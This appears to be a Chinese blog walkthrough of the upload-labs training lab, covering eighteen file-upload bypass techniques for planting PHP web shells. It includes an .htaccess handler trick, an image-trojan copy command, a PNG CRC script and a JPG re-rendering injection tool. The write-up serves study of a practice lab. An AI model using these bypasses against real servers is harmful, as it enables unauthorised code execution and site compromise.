文件上传漏洞及绕过

文件上传的目的:上传代码文件让服务器执行(个人理解)。

文件上传的绕过脑图

文件上传漏洞及绕过_第1张图片

一.js本地验证绕过

原理:本地的js,F12查看源代码发现是本地的验证

文件上传漏洞及绕过_第2张图片

绕过姿势
1.因为属于本地的代码可以尝试修改,然后选择php文件发现上传成功。

文件上传漏洞及绕过_第3张图片

2.采用burpsuite,先将文件的名称修改为jpg或png或gif,然后上传,burpsuite拦截将文件类型修改如图,发现能够上传成功

图片

二.MIME验证绕过(Content-Type)

原理:Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。
使用burpsuite拦截分别为jpg和php类型观察Content-Type发现Content-Type不同.

图片

图片

拓展:

图片

破解方法:
在burpsuite中更改Content-Type进行绕过即可

文件上传漏洞及绕过_第4张图片

三.黑名单绕过

原理:查看网站源代码发现过滤了asp,aspx,php,jsp,但其他的文件后缀可以上传,如phtml,phps,php5,pht

图片

绕过姿势:将文件后缀名改为php5,phtml等,发现能够上传成功,此次没用过滤htaccess文件可以尝试上传。

拓展:此破解方案需要Apache的httpd.conf有如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
关于AddType指令
作用:在给定的文件拓展名与特定的内容类型之间建立映射(简单来说就是让phtml,phps,php5,pht等文件后缀的安装php代码来执行,个人理解)

语法:AddType MIME-type extension [extension] ...
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

四..htaccess绕过

原理:.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用与此目录及其所有的子目录。
简单来说:就是htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
他的功能:网页301重定向,自定义404错误页面,改变文件拓展名(此处所用),允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能iis平台上不存在该文件,改文件默认开启,启用和关闭在httpd.conf文件中配置。
破解:构造.htaccess文件,文件内容,如图


SetHandler application/x-httpd-php

图片

然后上传.htaccess文件和2.jpg的木马发现2.jpg被安装php代码执行然后用蚁剑连接,发现可以连接成功,如图

文件上传漏洞及绕过_第5张图片

个人理解:通过对.htaccess的禁止目录列表理解运用给自己加了一个保护自己,防止开启phpstudy,其他人访问。

文件上传漏洞及绕过_第6张图片

五.大小写绕过

原理:查看网站源代码发现没有过滤大小写,而windows对大小写不敏感,linux对大小写敏感

文件上传漏洞及绕过_第7张图片

破解:修改文件拓展名称为大写,或者用burpsuiet抓包改为大写,发现上传成功,木马可以连接成功

文件上传漏洞及绕过_第8张图片

六.空格绕过

原理:windows等系统下,文件后缀加空格命名之后是默认自动删除空格。查看网站源代码发现过滤了大小写,没用过滤空格。

图片

绕过姿势:上传php文件用burpsuite抓包,添加一个空发现上传成功。用蚁剑连接发现可以连接成功。如下图

图片

图片

七.点的绕过

原理:同空格绕过原理一样,主要原因是windows等系统默认删除文件后缀的.和空格,查看网站源码发现,没有过滤点。

文件上传漏洞及绕过_第9张图片

绕过姿势:上传php代码,burpsuite抓包加一个点,发现上传成功,用蚁剑连接发现连接成功。

文件上传漏洞及绕过_第10张图片

文件上传漏洞及绕过_第11张图片

八.::$DATA绕过(此绕过只适用windows)

原理:php在windows的适合,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名,目的就是不检查后最名。查看网站源代码。发现没有过滤::$DATA。

文件上传漏洞及绕过_第12张图片

破解:上传php文件,用burpsuite抓吧文件后缀改为php::$DATA,发现上传成功,用蚁剑链接,发现连接成功,同时打开上传文件发现后缀没有::$DATA

图片

图片

文件上传漏洞及绕过_第13张图片

九.点空格绕过

原理:查看源码发现,都过滤但是,点和空格只是过滤了1次,所以我们可以尝试构造.php. .这样就只是过滤了文件末尾的点
而没有过滤第一个点,文件后缀变成了.php.实现了文件的上传。

文件上传漏洞及绕过_第14张图片

绕过姿势:上传php文件,burpsuite抓包改文件后缀名称为.php. .上传,发现上传成功,用蚁剑连接发现上传成功。

文件上传漏洞及绕过_第15张图片

文件上传漏洞及绕过_第16张图片

十.双写绕过

原理:查看源码发现,没有过滤点,空格,大写等,估计这种不是放在windows下的,这里可以用点大写空格:$DATA等绕过,不过这里的目的不是这个,是让学习双写绕过,看源码发现str_ireplace这个函数将php,php5,php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。

文件上传漏洞及绕过_第17张图片

绕过姿势:上传文件后缀为pphphp的文件,发现上传成功,然后蚁剑连接就可以了,发现可以连接成功。

文件上传漏洞及绕过_第18张图片

十一.%00截断

原理:查看源码发现使用了白名单,只允许jpg,png,gif文件的上传,所以前面使用的方法都不适用,然后我们发现路径img_path函数是让文件位置(save_path)加时间随机数(rand)的方法生成文件位置和文件名称,所以这里我们可以尝试在save_path的地方使用%00的方法截断后面的语句,burpsuite抓包发现,是可以更改save_path的,不过此方法有使用的限制。

使用限制:

1、php版本小于5.3.4

2、php.ini的magic_quotes_gpc为OFF状态

文件上传漏洞及绕过_第19张图片

(magic_quotes_gpc)函数的的底层实现是类似c语言,所以可以%00截断

文件上传漏洞及绕过_第20张图片

绕过姿势:

(get传输):上传php文件,burpsuite抓包,修改save_path如图所示,发现上传成功,使用蚁剑连接发现连接成功。

文件上传漏洞及绕过_第21张图片

文件上传漏洞及绕过_第22张图片

(post传输):post传输和get传输差不多,不过需要转一下码如图,然后发送发现上传成功。

文件上传漏洞及绕过_第23张图片

文件上传漏洞及绕过_第24张图片

十二.图片木马

查看源码:采用白名单限制上传的只能是图片,故考虑图片木马。

文件上传漏洞及绕过_第25张图片

图片木马的制作:

1. windows下cmd命名 Copy 1.jpg/b+shell.php/a shell.jpg

2.右键图片选择属性,详细信息,版权处加入木马,如图

3.16进制文本编译器

文件上传漏洞及绕过_第26张图片

上传图片木马:上传成功后采用文件包含即可

图片

十三.图马 getimagesize()

查看源码:

图片

getimagesize()函数:

     用于取得图像大小,如果指定的图像或其不是有效的图像,getimagesize()将返回false并产生一条E_WARNING级的错误

Image_type_to_extension()

     用于取得图像类型的文件后缀

绕过方法: 上传图马木马即可

十四.图马 exif_imagetype()

查看源码:

文件上传漏洞及绕过_第27张图片

exif_imagetype()函数:

用于判断一个图像的类型,正常则返回签名对应常量,否则返回false

绕过方法:上传图片木马即可

十五.图马 二次渲染

查看源码 对gif的过滤部分:发现gif图片被二次渲染

图片

尝试上传gif(带有木马),并将上传

文件上传漏洞及绕过_第28张图片

文件上传漏洞及绕过_第29张图片

gif绕过:找到渲染前后没有变化的位置,然后将php木马写入即可,下载上传后的gif,发现木马上传成功

文件上传漏洞及绕过_第30张图片

文件上传漏洞及绕过_第31张图片

查看源码:对png的过滤部分 发现被二次渲染

图片

尝试上传带有一句话木马的png图片,上传下载发现木马被渲染掉

图片

文件上传漏洞及绕过_第32张图片

绕过方法:

1.写入php代码到PLTE模块

PLTE模块:调色板PLTE数据块是辅助数据快,对于索引图像,调试板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

PLTE模块是辅助模块并不是每个png图片都有的,多找几个png图片

文件上传漏洞及绕过_第33张图片

然后计算PLTE数据块的CRC

import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果写入CRC模块

文件上传漏洞及绕过_第34张图片

然后上传即可;注:CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。储存用来检测是否有错误的循环冗余码。参考https://xz.aliyun.com/t/2657

2.写入IDAT数据块

国外大佬脚本直接用


运行脚本生成1.png,发现木马 被写入

文件上传漏洞及绕过_第35张图片

上传利用:文件包含

文件上传漏洞及绕过_第36张图片

图片原理:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

木马原理:assert()会检查内部是否是字符串,如果是字符串,它将会被assert()当做php代码执行

查看源码 对jpg的过滤部分 发现对jpg图片进行二次渲染

图片

绕过姿势:先随便上传一个1.jpg图片到服务器,将上传后的图片下载,用国外大佬脚本处理一下(并不是所有图片都能被脚本处理插入木马多试几个)

处理cmd命令:php 脚本名.php 1.jpg(需要安装php环境)

脚本被我改一下,发现大佬脚本不能用





    In case of successful injection you will get a specially crafted image, which should be uploaded again.



    Since the most straightforward injection method is used, the following problems can occur:

    1) After the second processing the injected data may become partially corrupted.

    2) The jpg_payload.php script outputs "Something's wrong".

    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.



    Sergey Bobrov @Black2Fan.



    See also:

    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/



    */



    $miniPayload = "";





    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');

    }



    if(!isset($argv[1])) {

        die('php jpg_payload.php ');

    }



    set_error_handler("custom_error_handler");



    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;



        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');

        }



        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;

            $dis->skip($size);

            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp = 

                    substr($outStream, 0, $startPos) . 

                    $miniPayload . 

                    str_repeat("\0",$nullbytePayloadSize) . 

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {

                                break;

                            }

                        }

                    }

                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream = 

                        substr($outStream, 0, $startPos) . 

                        $miniPayload . 

                        substr(

                            str_repeat("\0",$nullbytePayloadSize).

                                substr($outStream, $startPos, $imageStreamSize),

                            0,

                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {

                    break;

                }

                if(checkImage('payload_'.$argv[1], $outStream)) {

                    die('Success!');

                } else {

                    break;

                }

            }

        }

    }

    unlink('payload_'.$argv[1]);

    die('Something\'s wrong');



    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;

        imagecreatefromjpeg($filename);

        if($unlink)

            unlink($filename);

        return $correctImage;

    }



    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];

            }

        }

    }



    class DataInputStream {

        private $binData;

        private $order;

        private $size;



        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;

            }

            $this->size = strlen($this->binData);

        }



        public function seek() {

            return ($this->size - strlen($this->binData));

        }



        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);

        }



        public function readByte() {

            if($this->eof()) {

                die('End Of File');

            }

            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);

        }



        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');

            }

            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);

            }

            return $short;

        }



        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);

        }

    }

?>

图片

文件上传漏洞及绕过_第37张图片

十六.条件竞争

查看源码:发现上传的文件先被存储在服务器,然后进行判断,如果不是jpg png gif 则unlik()删掉,是的话重命名

文件上传漏洞及绕过_第38张图片

绕过姿势:在判断删除前,进行访问,竞争时间
shell.php 如下,当然也可写其他木马或者生成木马的php文件,上传用burpsuite抓包,当然可以写脚本

文件上传漏洞及绕过_第39张图片

文件上传漏洞及绕过_第40张图片

文件上传漏洞及绕过_第41张图片

绕后构造访问连接:http://127.0.0.1/upload-labs-master/upload/shell.php 用burpsuite抓包发送和上传一起开始 如何不行可以尝试线程调大点,或者写脚本

文件上传漏洞及绕过_第42张图片

类似的也是先保存再重命名同样可以竞争 源码

文件上传漏洞及绕过_第43张图片

十七../绕过

查看源码:

文件上传漏洞及绕过_第44张图片

绕过姿势:
Pathinfo()会返回一个关联数组含有path的信息。例如:

文件上传漏洞及绕过_第45张图片

save_name=1.php/.这样file_ext值为空绕过黑名单,而move_uploaded_file函数忽略文件后的./就可以实现保存文件为shell.php

图片

注:网上看有用 save_name=1.php%00绕过的,虽然能上传成功但是保存的文件名是1.php%00你是没法利用的,看看原因好像是move_uploaded_file函数把save_name当做字符串来用的(目前感觉这个方法不行,可能操作有误)

十八.数组+./绕过

查看源码:分析如图

图片

绕过姿势:

文件上传漏洞及绕过_第46张图片

文件上传漏洞及绕过_第47张图片

欢迎访问查看更多web知识:https://lmg66.github.io/

你可能感兴趣的:(文件上传漏洞及绕过)